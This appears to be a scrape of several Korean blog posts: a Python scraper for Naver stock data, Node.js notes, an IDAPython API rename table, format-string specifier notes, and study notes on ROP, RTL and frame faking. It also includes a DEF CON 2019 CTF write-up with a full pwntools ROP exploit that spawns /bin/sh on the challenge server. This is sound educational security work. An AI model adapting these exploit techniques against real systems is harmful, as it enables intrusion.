뭐 빅데이터 책으로 공부하다가 데이터도 긁어올겸 python으로 현재 네이버 주식 시가총액창에 있는 데이터를 긁어오는 코드를 짜봤다.

이 데이터가 필요한지는 잘 모르겠지만 간만에 python으로 소스를 짜보았다.

#-*- coding:utf-8 -*-
import requests
import pandas as pd
from bs4 import BeautifulSoup
import datetime

def make_data(tag):
    for i in range(0,len(tag)):
        ttag = tag[i].find_all('td')
        title.append(ttag[1].text)
        now.append(ttag[2].text)
        try:
            updown = (ttag[3].find('img')['alt'])
            if updown == "상승":
                updown = "+"
            else:
                updown = "-"
        except :
            updown = "변동없음"
        yest_rate.append(str(updown)+ttag[3].text.strip())
        fluct_rate.append(ttag[4].text.strip())
        face_value.append(ttag[5].text)
        foreign.append(ttag[8].text)
        volume.append(ttag[9].text)
        per.append(ttag[10].text)
        roe.append(ttag[11].text)    

def get_tag(i):
    req = requests.get("https://finance.naver.com/sise/sise_market_sum.nhn?sosok=0&page={}".format(i))
    html = req.text
    bs = BeautifulSoup(html,'html.parser')
    tag = bs.find('tbody').find_all('tr', {'onmouseover':'mouseOver(this)'})
    return tag

time_now = []
now_time = datetime.datetime.now()
time_ = now_time.strftime('%Y-%m-%d %H:%M:%S')
time_now.append(time_)
title = [] #종목
now = [] #현재가
yest_rate = [] #전일비
fluct_rate = [] #등락률
face_value = [] #액면가
volume = [] #거래량
foreign = [] #외국인비율
per = [] #PER
roe = [] #ROE


for i in range(1,33):
    tag = get_tag(i)
    make_data(tag)

df = pd.DataFrame(title)
df1 = pd.DataFrame(now)
df2 = pd.DataFrame(yest_rate)
df3 = pd.DataFrame(fluct_rate)
df4 = pd.DataFrame(face_value)
df5 = pd.DataFrame(volume)
df6 = pd.DataFrame(foreign)
df7 = pd.DataFrame(per)
df8 = pd.DataFrame(roe)
df9 = pd.DataFrame(time_now)

res = pd.concat([df,df1,df2,df3,df4,df5,df6,df7,df8,df9],axis=1)
res.columns = ['종목','현재가','전일비','등락률','액면가','거래량','외국인비율','PER','ROE','시간']
res.to_excel('{}.xlsx'.format(time_))

일단 이거 돌리면 현재 네이버에 떠있는 주식 종목, 현재가, 전일비, 등락률, 액면가, 거래량, 외국인비율, per, roe 정보를 가져오고 시간도 기록해준다.

이 정보들을 긁어와주는데 사람들이 무슨 하나하나 긁는거 같아서 만들어 보았다.
필요한 모듈은 requests, pandas, bs4, datetime인것 같다.

결과는 아래와 같이 나온다. 

찾아보니 매일 주식 정보를 기록하시는 분들이 사용하시면 좋을 것 같다.

console 객체

  • log() : 출력
  • time() : 시간 측정시작
  • timeEnd() : 시간 측정종료

printf처럼 console.log()를 사용
%d(숫자), %s(문자열), %j(Json) 이 사용가능하며 이때 파라미터의 갯수가 변환 문자보다 많으면 전체 완성 문자열 뒤에 붙고 파라미터의 갯수가 적으면 변환 문자 포멧이 그래도 출력된다.

>console.log('Hi'); => Hi
>console.log('%d %d', 12); => 12 %d
>console.log('%d', 12, 12); => 12 12;

process 객체

  • argv : 실행 매개변수

  • env : 컴퓨터 환경과 관련된 정보

  • version : Node.js 버전

  • versions : Node.js 종속 프로그램 버전

  • arch : 프로세서의 아키텍차

  • platform : 플랫폼

  • exit() : 프로그램 종료

  • memory() : 메모리 사용정보 객체 리턴

  • uptime() : 프로그램이 실행된 시간 리턴

exports

모듈을 만들어 사용할 때에 메서드를 정의할 때에 exports.메소드명 = function(){}; 으로 정의를 한다.
그러면 이때 이 모듈을 사용하는 소스코드는 var module = require('불러올 모듈_path');로 가져와 사용한다.

'Node.js' 카테고리의 다른 글

Node.js 프로그래밍[설치]  (0) 2020.06.07

Node.js 우분투 설치

sudo apt-get install build-essential
sudo password for User:비밀번호 입력

curl -sL https://deb.nodesource.com/setup_4.x | sudo -E bash -
(curl 설치 안되어있으면 sudo apt-get install curl)
sudo apt-get install -y nodejs

이후 터미널창에 node 라고 치면 실행되는지 확인 후

>console.log('Hello World');

실행해서 실행이 된다면 성공

Node.js 맥설치

Node.js 홈페이지에서 Mac Installer 다운로드후 실행
이후 확인과정은 우분투와 동일합니다.

'Node.js' 카테고리의 다른 글

Node.js 프로그래밍[전역 객체]  (0) 2020.06.07

출처 - https://github.com/alexander-hanel/idapython6to7

Old Version API New Version API
byteValue byte_value
isLoaded is_loaded
isCode is_code
isData is_data
isTail is_tail
isUnknown is_unknown
isHead is_head
isFlow is_flow
isOff0 is_off0
isOff1 is_off1
isChar0 is_char0
isChar1 is_char1
isSeg0 is_seg0
isSeg1 is_seg1
isEnum0 is_enum0
isEnum1 is_enum1
isStroff0 is_stroff0
isStroff1 is_stroff1
isStkvar0 is_stkvar0
isStkvar1 is_stkvar1
isByte is_byte
isWord is_word
isTbyt is_tbyt
isFloat is_float
isDouble is_double
isPackReal is_pack_real
isStruct is_struct
isAlign is_align
IsFloat is_float
Jump jump
Wait wait
Eval eval
Exit exit
DeleteAll delete_all
MakeArray make_array
OpHex op_hex
OpChr op_chr
OpOff op_off
OpSeg op_seg
OpStkvar op_stkvar
SetManualInsn set_manual_insn
GetManualInsn get_manual_insn
PatchDbgByte patch_dbg_byte
PatchByte patch_byte
PatchWord patch_word
PatchDword patch_dword
PatchQword patch_qword
AutoUnmark auto_unmark
GetInputFile get_input_file
GetInputFilePath get_input_file_path
GetIdbPath get_idb_path
Byte byte
GetOriginalByte get_original_byte
GetReg get_reg
NextAddr next_addr
PrevAddr prev_addr
NextHead next_head
PrevHead prev_head
NextNotTail next_not_tail
PrevNotTail prev_not_tail
Demangle demangle
GetOperandValue get_operand_value
FindText find_text
FindBinary find_binary
_invoke_idc_setprm _invoke_idc_setprm
SetProcessorType set_processor_type
SetTargetAssembler set_target_assembler
Batch batch
ProcessUiAction process_ui_action
AskSeg ask_seg
AskYN ask_yn
Warning warning
Refresh refresh
RefreshLists refresh_lists
FindSelector find_selector
SetSelector set_selector
DelSelector del_selector
DelSeg del_seg
MoveSegm move_segm
SetStorageType set_storage_type
FindFuncEnd find_func_end
GetFrame get_frame
GetFrameLvarSize get_frame_lvar_size
GetFrameRegsSize get_frame_regs_size
GetFrameArgsSize get_frame_args_size
GetFrameSize get_frame_size
GetSpd get_spd
GetMinSpd get_min_spd
RecalcSpd recalc_spd
GetEntryOrdinal get_entry_ordinal
GetEntryName get_entry_name
GetNextFixupEA get_next_fixup_ea
GetPrevFixupEA get_prev_fixup_ea
SetFixup set_fixup
DelFixup del_fixup
GetStrucQty get_struc_qty
GetFirstStrucIdx get_first_struc_idx
GetLastStrucIdx get_last_struc_idx
GetNextStrucIdx get_next_struc_idx
GetPrevStrucIdx get_prev_struc_idx
GetStrucIdx get_struc_idx
GetStrucId get_struc_id
GetStrucName get_struc_name
GetStrucSize get_struc_size
GetMemberQty get_member_qty
GetMemberId get_member_id
GetFirstMember get_first_member
GetLastMember get_last_member
GetMemberOffset get_member_offset
GetMemberName get_member_name
GetMemberSize get_member_size
GetMemberFlag get_member_flag
IsUnion is_union
DelStruc del_struc
SetStrucIdx set_struc_idx
SetStrucName set_struc_name
AddStrucMember add_struc_member
DelStrucMember del_struc_member
SetMemberName set_member_name
SetMemberType set_member_type
ExpandStruc expand_struc
GetFchunkAttr get_fchunk_attr
SetFchunkAttr set_fchunk_attr
GetFchunkReferer get_fchunk_referer
RemoveFchunk remove_fchunk
GetEnumQty get_enum_qty
GetnEnum getn_enum
GetEnumIdx get_enum_idx
GetEnum get_enum
GetEnumName get_enum_name
GetEnumCmt get_enum_cmt
GetEnumSize get_enum_size
GetEnumWidth get_enum_width
GetEnumFlag get_enum_flag
GetFirstBmask get_first_bmask
GetLastBmask get_last_bmask
GetNextBmask get_next_bmask
GetPrevBmask get_prev_bmask
GetBmaskName get_bmask_name
GetBmaskCmt get_bmask_cmt
SetBmaskName set_bmask_name
SetBmaskCmt set_bmask_cmt
AddEnum add_enum
DelEnum del_enum
SetEnumIdx set_enum_idx
SetEnumName set_enum_name
SetEnumCmt set_enum_cmt
SetEnumFlag set_enum_flag
SetEnumBf set_enum_bf
SetEnumWidth set_enum_width
CreateArray create_array
GetArrayId get_array_id
RenameArray rename_array
DeleteArray delete_array
SetArrayLong set_array_long
SetArrayString set_array_string
GetArrayElement get_array_element
DelArrayElement del_array_element
GetFirstIndex get_first_index
GetLastIndex get_last_index
GetNextIndex get_next_index
GetPrevIndex get_prev_index
SetHashLong set_hash_long
GetHashLong get_hash_long
SetHashString set_hash_string
GetHashString get_hash_string
GetFirstHashKey get_first_hash_key
GetLastHashKey get_last_hash_key
GetNextHashKey get_next_hash_key
GetPrevHashKey get_prev_hash_key
GetType get_type
GetTinfo get_tinfo
GetLocalTinfo get_local_tinfo
GuessType guess_type
ApplyType apply_type
SetLocalType set_local_type
LoadDebugger load_debugger
AttachProcess attach_process
DetachProcess detach_process
GetThreadQty get_thread_qty
SelectThread select_thread
SuspendThread suspend_thread
ResumeThread resume_thread
GetFirstModule get_first_module
GetNextModule get_next_module
GetModuleName get_module_name
GetModuleSize get_module_size
StepInto step_into
StepOver step_over
RunTo run_to
StepUntilRet step_until_ret
GetDebuggerEvent get_debugger_event
ResumeProcess resume_process
SendDbgCommand send_dbg_command
RefreshDebuggerMemory refresh_debugger_memory
TakeMemorySnapshot take_memory_snapshot
GetProcessState get_process_state
GetEventId get_event_id
GetEventPid get_event_pid
GetEventTid get_event_tid
GetEventEa get_event_ea
IsEventHandled is_event_handled
GetEventModuleName get_event_module_name
GetEventModuleBase get_event_module_base
GetEventModuleSize get_event_module_size
GetEventExitCode get_event_exit_code
GetEventInfo get_event_info
SetDebuggerOptions set_debugger_options
SetRemoteDebugger set_remote_debugger
DefineException define_exception
GetRegValue get_reg_value
SetRegValue set_reg_value
GetBptQty get_bpt_qty
GetBptEA get_bpt_ea
GetBptAttr get_bpt_attr
SetBptAttr set_bpt_attr
AddBpt add_bpt
DelBpt del_bpt
EnableBpt enable_bpt
CheckBpt check_bpt
EnableTracing enable_tracing
GetStepTraceOptions get_step_trace_options
SetStepTraceOptions set_step_trace_options
LoadTraceFile load_trace_file
SaveTraceFile save_trace_file
DiffTraceFile diff_trace_file
GetTevEa get_tev_ea
GetTevType get_tev_type
GetTevTid get_tev_tid
GetBptTevEa get_bpt_tev_ea
GetColor get_color
SetColor set_color
OpOffset op_offset
OpNum op_num
OpDec op_dec
set_start_cs set_start_cs
set_start_ip set_start_ip
BeginTypeUpdating begin_type_updating
EndTypeUpdating end_type_updating
AddStruc add_struc
OpStroff op_stroff
OpEnum op_enum
SetReg set_reg
here here
isVar None
isDefArg0 is_defarg0
isDefArg1 is_defarg1
isFop0 is_manual0
isFop1 is_manual1
FF_DWRD FF_DWORD
FF_QWRD FF_QWORD
FF_TBYT FF_TBYTE
FF_ASCI FF_STRLIT
FF_STRU FF_STRUCT
FF_OWRD FF_OWORD
isDwrd is_dword
isQwrd is_qword
isOwrd is_oword
isASCII is_strlit
IsString value_is_string
IsLong value_is_long
IsFunc value_is_func
None value_is_float
IsPvoid value_is_pvoid
IsInt64 value_is_int64
MK_FP to_ea
AddHotkey add_idc_hotkey
DelHotkey del_idc_hotkey
None auto_wait
CompileEx None
SaveBase save_database
ValidateNames validate_idb_names
Exit qexit
Sleep qsleep
RunPlugin load_and_run_plugin
ApplySig plan_to_apply_idasgn
MakeCode create_insn
AnalyzeArea plan_and_wait
MakeNameEx set_name
MakeComm set_cmt
MakeRptCmt None
MakeStr create_strlit
MakeData create_data
MakeByte create_byte
MakeWord create_word
MakeDword create_dword
MakeQword create_qword
MakeOword create_oword
MakeYword create_yword
MakeFloat create_float
MakeDouble create_double
MakePackReal create_pack_real
MakeTbyte create_tbyte
MakeStructEx create_struct
MakeCustomDataEx create_custom_data
MakeAlign create_align
MakeLocal define_local_var
MakeUnkn None
MakeUnknown del_items
DOUNK_SIMPLE DELIT_SIMPLE
DOUNK_EXPAND DELIT_EXPAND
SetArrayFormat set_array_params
OpBinary op_bin
OpOctal op_oct
OpDecimal None
None op_plain_offset
OpOffEx None
OpNumber None
OpFloat op_flt
OpAlt op_man
OpSign toggle_sign
OpNot toggle_bnot
OpEnumEx None
OpStroffEx None
OpHigh op_offset_high16
None E_PREV
None E_NEXT
ExtLinA get_extra_cmt
ExtLinB update_extra_cmt
DelExtLnA None
DelExtLnB del_extra_cmt
SetFlags None
SetRegEx split_sreg_range
AutoMark auto_unmark
GenerateFile gen_file
GenFuncGdl gen_flow_graph
GenCallGdl gen_simple_call_chart
GetIdaDirectory idadir
SetInputFilePath set_root_filename
GetInputMD5 retrieve_input_file_md5
GetFlags get_full_flags
IdbByte get_db_byte
GetManyBytes get_bytes
DbgByte read_dbg_byte
DbgWord read_dbg_word
DbgDword read_dbg_dword
DbgQword read_dbg_qword
DbgRead read_dbg_memory
DbgWrite write_dbg_memory
Word get_wide_word
Dword get_wide_dword
Qword get_qword
LocByName get_name_ea_simple
LocByNameEx get_name_ea
SegByBase get_segm_by_sel
ScreenEA get_screen_ea
GetCurrentLine get_curline
SelStart read_selection_start
SelEnd read_selection_end
None get_sreg
ItemHead get_item_head
ItemEnd get_item_end
ItemSize get_item_end
NameEx func_contains
GetTrueNameEx None
GetDisasmEx generate_disasm_line
GetMnem print_insn_mnem
GetOpnd print_operand
GetOpType get_operand_type
LineA None
LineB None
CommentEx get_cmt
AltOp get_forced_operand
GetString get_strlit_contents
GetStringType get_str_type
FindVoid find_suspop
FindCode find_code
FindData find_data
FindUnexplored find_unknown
FindExplored find_defined
FindImmediate find_imm
ChangeConfig process_config_line
GetLongPrm get_inf_attr
GetShortPrm None
GetCharPrm None
SetLongPrm None
SetShortPrm None
SetCharPrm None
SetPrcsr None
AskStr None
AskFile None
AskAddr None
AskLong None
AskIdent None
Message None
UMessage msg
Fatal error
SetStatus set_ida_state
AskSelector sel2para
FirstSeg get_first_seg
NextSeg get_next_seg
SegStart get_segm_start
SegEnd get_segm_end
SegName get_segm_name
AddSegEx add_segm_ex
SetSegBounds set_segment_bounds
RenameSeg set_segm_name
SetSegClass set_segm_class
SegAlign set_segm_alignment
SegComb set_segm_combination
SetSegAddressing set_segm_addressing
SegByName selector_by_name
SetSegDefReg set_default_sreg_value
SetSegmentType set_segm_type
GetSegmentAttr get_segm_attr
SetSegmentAttr set_segm_attr
AddCodeXref add_cref
DelCodeXref del_cref
Rfirst get_first_cref_from
Rnext get_next_cref_from
RfirstB get_first_cref_to
RnextB get_next_cref_to
Rfirst0 get_first_fcref_from
Rnext0 get_next_fcref_from
RfirstB0 get_first_fcref_to
RnextB0 get_next_fcref_to
Dfirst get_first_dref_from
Dnext get_next_dref_from
DfirstB get_first_dref_to
DnextB get_next_dref_to
XrefType get_xref_type
MakeFunction add_func
DelFunction del_func
SetFunctionEnd set_func_end
NextFunction get_next_func
PrevFunction get_prev_func
GetFunctionAttr get_func_attr
SetFunctionAttr set_func_attr
GetFunctionFlags get_func_flags
SetFunctionFlags set_func_flags
GetFunctionName get_func_name
GetFunctionCmt get_func_cmt
SetFunctionCmt set_func_cmt
ChooseFunction choose_func
GetFuncOffset get_func_off_str
MakeFrame set_frame_size
GetSpDiff get_sp_delta
SetSpDiff None
AddAutoStkPnt2 add_auto_stkpnt
AddUserStkPnt add_user_stkpnt
DelStkPnt del_stkpnt
GetEntryPointQty get_entry_qty
AddEntryPoint add_entry
GetEntryPoint get_entry_qty
RenameEntryPoint rename_entry
GetFixupTgtType get_fixup_target_type
GetFixupTgtSel None
GetFixupTgtOff get_fixup_target_off
GetFixupTgtDispl get_fixup_target_dis
MarkPosition put_bookmark
GetMarkedPos get_bookmark
GetMarkComment get_bookmark_desc
GetStrucIdByName get_struc_id
GetStrucComment get_struc_cmt
GetStrucPrevOff get_prev_offset
GetStrucNextOff get_next_offset
GetMemberComment get_member_cmt
GetMemberStrId get_member_strid
AddStrucEx add_struc
SetStrucComment set_struc_cmt
SetMemberComment set_member_cmt
NextFchunk get_next_fchunk
PrevFchunk get_prev_fchunk
AppendFchunk append_func_tail
SetFchunkOwner set_tail_owner
FirstFuncFchunk first_func_chunk
NextFuncFchunk next_func_chunk
None get_enum
GetConstByName get_enum_member_by_name
GetConstValue get_enum_member_value
GetConstBmask get_enum_member_bmask
GetConstEnum get_enum_member_enum
GetConstEx get_enum_member
GetFirstConst get_first_enum_member
GetLastConst get_last_enum_member
GetNextConst get_next_enum_member
GetPrevConst get_prev_enum_member
GetConstName get_enum_member_name
GetConstCmt get_enum_member_cmt
IsBitfield is_bf
AddConstEx add_enum_member
DelConstEx del_enum_member
SetConstName set_enum_member_name
SetConstCmt set_enum_member_cmt
DelHashElement del_hash_string
AddSourceFile add_sourcefile
GetSourceFile get_sourcefile
DelSourceFile del_sourcefile
SetLineNumber set_source_linnum
GetLineNumber get_source_linnum
DelLineNumber del_source_linnum
LoadTil add_default_til
Til2Idb import_type
ParseType parse_decl
ParseTypes parse_decls
PrintLocalTypes print_decls
GetMaxLocalType get_ordinal_qty
GetLocalTypeName get_numbered_type_name
HideArea add_hidden_range
SetHiddenArea update_hidden_range
DelHiddenArea del_hidden_range
StartDebugger start_process
StopDebugger None
PauseProcess suspend_process
GetProcessQty None
GetProcessPid None
GetProcessName None
GetThreadId None
GetCurrentThreadId None
GetEventBptHardwareEa get_event_bpt_hea
GetEventExceptionCode get_event_exc_code
GetEventExceptionEa get_event_exc_ea
CanExceptionContinue None
GetEventExceptionInfo get_event_exc_info
GetDebuggerEventCondition None
SetDebuggerEventCondition set_debugger_event_cond
SetBptCndEx set_bpt_cond
SetBptCnd None
AddBptEx None
CheckTraceFile is_valid_trace_file
ClearTraceFile clear_trace
GetTraceDesc get_trace_file_desc
SetTraceDesc set_trace_file_desc
GetMaxTev get_tev_qty
GetTevRegVal get_tev_reg
GetTevRegMemQty get_tev_mem_qty
GetTevRegMem get_tev_mem
GetTevRegMemEa get_tev_mem_ea
GetTevCallee get_call_tev_callee
GetTevReturn get_ret_tev_return
ArmForceBLJump force_bl_jump
ArmForceBLCall force_bl_call
Compile None
OpChar None
OpSegment None
OpAlt1 None
OpAlt2 None
StringStp None
LowVoids None
HighVoids None
TailDepth None
Analysis None
Tabs None
Voids None
XrefShow None
Indent None
CmtIndent None
AutoShow None
MinEA None
MaxEA None
BeginEA None
WriteMap None
WriteTxt None
WriteExe None
AddConst None
AddUnion None
DelConst None
GetConst None
AnalyseArea None
MakeStruct None
MakeCustomData None
Name None
GetTrueName None
MakeName None
SegCreate None
SegDelete None
SegBounds None
SegRename None
SegClass None
SegAddrng None
SegDefReg None
Comment None
RptCmt None
isEnabled None
AutoMark2 auto_mark_range
None get_wide_byte
None calc_gtn_flags
None o_fpreg_arm
None o_cond
ASCSTR_C STRTYPE_C
ASCSTR_PASCAL STRTYPE_PASCAL
ASCSTR_LEN2 STRTYPE_LEN2
ASCSTR_UNICODE None
ASCSTR_LEN4 STRTYPE_LEN4
ASCSTR_ULEN2 None
ASCSTR_ULEN4 None
ASCSTR_LAST None
None STRTYPE_C_16
None STRTYPE_LEN2_16
None STRTYPE_LEN4_16
startEA start_ea
endEA end_ea
None get_fixup_target_flags

 

'컴퓨터 관련 정보' 카테고리의 다른 글

ESP, EBP  (0) 2018.04.16
정규표현식  (0) 2018.01.09
Google검색  (0) 2017.12.28
Ascii 코드표  (0) 2017.09.23
url code 표  (0) 2017.09.18

%100$8lx => 100 : 스택에서 부터 100번째 자리에 있는 인자; 8 : 8자리로 맞추어 출력; lx : 16byte 형태로 4byte 출력

 

%hn => h=> 2byte 단위;

 

%d => 정수형 10진수 상수

%f => 실수형 상수(float)

%lf => 실수형 상수(double)

%c => 문자값

%s => 문자열

%u => 양의 정수(10진수)

%o => 양의 정수(8진수)

%x => 양의 정수(16진수)

%lx => 양의 정수 16진수형태로 4byte 출력

%n => int(쓰인 총 바이트 수)

%hn => %n의 반인 2 바이트 단위

 

%x 와 %p 와 %#x 의 차이

 

%x 는 나온 값을 16진수로 표현하지만 나온 숫자만을 표시한다면 ( 스택에 들어 있는 값 )

%p는 나온 값을 4byte형태로 나타내가 때문에 빈 곳은 0으로 채워 딱 맞추어 나타내고

%#x를 붙인다면 앞에 출력시 0x를 붙여서 출력시켜 준다.

 

 

 

'Pwnable' 카테고리의 다른 글

Pwntools  (0) 2018.08.28
FMbug  (0) 2018.08.26

2019년 데프콘 CTF 스피드런 문제를 리뷰 해보도록 하겠습니다. 우선 우리는 문제를 실행시켜 보겠습니다.

이렇게 실행되어지는 문제이고 이것을 분석하기 위하여 IDA를 사용하여 열어보면 굉장히 큰 바이너리로 이루어 진 것을 알 수 있습니다.

하지만 우리는 실행시켰을 때 알아낸 문자열을 통하여 실행 부분을 찾을수 있습니다.

이렇게 찾게되고 그것의 main함수 까지 알아 냅니다.

이때 우리는 buf의 크기보다 더 많은 양을 넣을 수 있는 read 함수를 찾을 수 있습니다. 따라서 우리는 overflow가 된다는 것을 알 수 있습니다. 우선 우리는 보호기법을 체크해줍니다.

그러면 PIE가 걸려있지 않기 때문에 IDA에서 본 주소와 동일하게 사용가능한 것을 알 수 있습니다.

 

그렇기에 우리는 read 양만큼의 A 문자를 넣어보면 무리 없이 들어간 다는 것을 알 수 있습니다. 따라서 우리는 SROP를 통한 익스 플로잇 코드를 작성해야 한다는 것을 알 수 있습니다.

 

그렇기에 우리는 rop 명령어를 통한 가젯들을 수집합니다. (pop rdi, pop rsi, pop rdx, pop rax, syscall) 그리고 우리는 처음 /bin/sh 문자열을 넣을 위치를 정하여야 합니다.

따라서 elfheader 명령어를 통한 bss 영역의 주소를 알아낼 수 있습니다. 그 후 우리는 bss영역에 read함수를 이용하여 /bin/sh 문자열을 대입하고 execve 함수를 통하여 /bin/sh 를 실행하는 코드를 작성합니다.

 

from pwn import *

p = remote("speedrun-001.quals2019.oooverflow.io", 31337)

def dd(payload):
	p.recvuntil('Any last words?')
	p.sendline(payload)

syscall = 0x474e65
pop_rax = 0x415664
pop_rdi = 0x400686
pop_rsi = 0x4101f3
pop_rdx = 0x4498b5
main_addr = 0x400BC1

bss = 0x006bc000-0x100


payload = 'A'*0x400
payload += p64(bss - 0x100)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss)
payload += p64(pop_rdx) + p64(8)
payload += p64(pop_rax) + p64(0)
payload += p64(syscall)
payload += p64(main_addr)

dd(payload)

p.send('/bin/sh\x00')


payload = 'A' * 0x400
payload += p64(0xdeadbeef)
payload += p64(pop_rdi) + p64(bss)
payload += p64(pop_rsi)+ p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(pop_rax) + p64(59)
payload += p64(syscall)
payload += p64(main_addr)

dd(payload)
p.recvuntil("A"*0x400)
p.sendline("/bin/sh;")
p.sendline("cat flag")

p.interactive()

 

작성한 코드를 실행시킨다면 우리는 flag를 획득할 수 있습니다.

'CTF > CTF 문제들' 카테고리의 다른 글

코드게이트2018 후기  (0) 2018.04.09
Codegate 2018 Simple_CMS[Web]  (0) 2018.02.06

ROP(Return Oriented Programming) - x86

ROP는 공격자가 실행 공간 보호(NX bit) 및 코드 서명(Code Signing)과 같은 보안 방어가 있는 상태에서 코드를 실행할 수 있게 해주는 기술입니다.

= RTL + Gadget


이 기법에서는 공격자는 프로그램의 흐름을 변경하기 위해 Stack Overflow 취약성이 필요하고, 가젯이라고 하는 해당 프로그램이 사용하는 메모리에 이미 있는 기계 명령어가 필요합니다.

ROP는 기본적으로 RTL 기법을 이용하며, 공격자는 RTL과 Gadgets을 이용해 공격에 필요한 코드를 프로그래밍 하는 것입니다.


PLT(Procedure Linkage Table) & GOT(Global Offset Table)

PLT에는 동적 링커가 공유 라이브러리의 함수를 호출하기 위한 코드가 저장되어 있습니다.

GOT(전역 오프셋 테이블)에는 동적 링커에 의해 공유 라이브러리에서 호출할 함수의 주소가 저장됩니다.

=>.got.plt 섹션에 저장


PLT와 GOT를 사용하는 이유

: Dynamic Link 방식으로 컴파일 하면 라이브러리가 프로그램 외부에 있기 때문에 함수의 주소를 알아오는 과정이 필요한 것입니다.


elfsymbol 찾고자하는 function_name => plt와 got 주소


쓸수 있는 공간 찾기 위한 방법

shell objdump -h ~/study/x86_rop/rop




ROP - x64


-------------------------------------------

     Gadget(POP RDI, RET) Addr

-------------------------------------------

          First argument value

-------------------------------------------

 Gadget(POP RSI, POP RDX,ret) Addr

-------------------------------------------

         Second argument value

-------------------------------------------

           Third argument value

-------------------------------------------

       read function address of libc

-------------------------------------------

        Gadget(POP RDI, RET) Addr

-------------------------------------------

            First argument value

-------------------------------------------

      System fucntion address of libc

-------------------------------------------


1. setresuid(0,0,0) => 권한을 root(0)으로 변경

2. system 함수를 이용해 "/bin/sh" 실행

ROPgadget --binary path | grep "string"












'Pwnable > PWNABLE 끄적끄적' 카테고리의 다른 글

2019.01.15  (0) 2019.01.15
2019.01.10  (0) 2019.01.10
2019.01.10  (0) 2019.01.10

RTL(Return to Libc)

return address 영역에 공유 라이브러리 함수의 주소로 변경해 해당함수를 호출


x64 Calling convention

=> RDI, RSI, RDX, RCX, R8, R9 return=EAX


ROP(Return Oriented Programming)

ret2libc 기법을 사용하기 위해서는 

Return Address 영역에 pop rdi, ret 코드가 저장된 주소값을 저장해야 합니다.

Retrun Address 다음영역에 해당 레지스터에 저장 할 인자 값을 저장합니다.

그 다음 영역에 호출 할 함수의 주소를 저장합니다.


Call 함수


push EIP+4

jmp 주소



Frame faking(Fake ebp)

Frame faking이란 가짜 스택 프레임 포인터(Stack Frame Pointer)를 만들어 실행 흐름을 제어하는 것입니다.

Return Address영역 까지만 덮어쓸수 있을 경우 사용 가능합니다.


LEAVE & RET Instruction

Instruction x86 x64


LEAVE mov esp, ebp mov rsp, rbp

pop ebp pop rbp


RET pop eip pop eip

jmp eip jmp rip


pop 명령어는 주소 안에 있는 값을 넣어준다


overflow로 frame pointer영역에 rtl 코드가 저장되어있는 주소 -0x4 주소를 저장

return address 영역에 leave 명령어가 저장되어 있는 주소를 저장




Frame Pointer Overwrite(One byte Overflow) =>FPO
Frame Pointer Overwrite란 Frame point에 1byte를 덮어써서 프로그램의 실행 흐름을 제어하는 것 입니다.
발생할수있는 상황
- RTL 코드가 저장된 영역과 Frame Pointer 뒤에서 3번째 자리수가 다르면 공격에 성공할 수 없다.


'Pwnable > PWNABLE 끄적끄적' 카테고리의 다른 글

2019.01.19  (0) 2019.01.19
2019.01.10  (0) 2019.01.10
2019.01.10  (0) 2019.01.10

+ Recent posts